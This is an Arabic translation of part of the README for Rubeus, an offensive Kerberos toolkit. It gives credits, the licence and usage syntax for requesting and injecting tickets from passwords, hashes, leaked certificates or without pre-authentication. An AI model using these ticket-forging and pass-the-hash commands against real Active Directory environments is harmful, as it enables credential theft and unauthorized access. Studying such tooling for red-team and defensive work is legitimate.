
محاولة ترويض الكلب ذو الرؤوس الثلاثة.
Rubeus هي مجموعة أدوات بلغة C# للتفاعل الخام مع Kerberos وإساءة استخدامه. إنها مقتبسة بشكل كبير من مشروع Benjamin Delpy المسمى Kekeo (ترخيص CC BY-NC-SA 4.0) ومن مشروع Vincent LE TOUX المسمى MakeMeEnterpriseAdmin (ترخيص GPL v3.0). يعود الفضل الكامل لبنيامين وفنسنت في حل المكونات الصعبة للتسليح - بدون عملهما السابق لم يكن هذا المشروع موجودًا.
Charlie Clark و Ceri Coburn قدما مساهمات كبيرة كمطورين مشاركين في قاعدة كود Rubeus. Elad Shamir ساهم ببعض الأعمال الأساسية للتفويض المقيد القائم على الموارد. عملهما محل تقدير كبير!
يستخدم Rubeus أيضًا مكتبة تحليل/ترميز ASN.1 بلغة C# من Thomas Pornin تسمى DDer والتي تم إصدارها بترخيص "شبيه MIT". شكر جزيل لتوماس على كوده النظيف والمستقر!
كود PKINIT مقتبس بشكل كبير من أداة @SteveSyfuhs المسماة Bruce. جعلت Bruce فهم RFC4556 (PKINIT) أسهل بكثير. شكر جزيل لستيف!
ترميز وفك ترميز NDR لـ Kerberos PAC يعتمد على مكتبة NtApiDotNet من @tiraniddo، شكرًا لك جيمس.
طريقة KerberosRequestorSecurityToken.GetRequest للـ Kerberoasting تمت المساهمة بها في PowerView (ثم تم دمجها في Rubeus) بواسطة @machosec.
@harmj0y هو المؤلف الرئيسي لقاعدة الكود هذه.
Rubeus مرخصة بموجب ترخيص BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
طلبات التذاكر وتجديدها:
استرداد TGT بناءً على كلمة مرور/تجزئة مستخدم، مع حفظ اختياري في ملف أو تطبيقه على جلسة تسجيل الدخول الحالية أو LUID معينة:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
استرداد TGT بناءً على كلمة مرور/تجزئة مستخدم، مع حفظ اختياري في ملف أو تطبيقه على جلسة تسجيل الدخول الحالية أو LUID معينة:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
استرداد TGT بناءً على كلمة مرور/تجزئة مستخدم، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
استرداد TGT باستخدام شهادة PKCS12، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
استرداد TGT باستخدام شهادة من مخزن المستخدم (بطاقة ذكية) مع تحديد بصمة الشهادة أو الموضوع، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
استرداد TGT مناسب لتغيير حساب بكلمة مرور منتهية الصلاحية باستخدام أمر changepw:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
طلب TGT دون إرسال بيانات ما قبل المصادقة:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
طلب تذكرة خدمة باستخدام AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]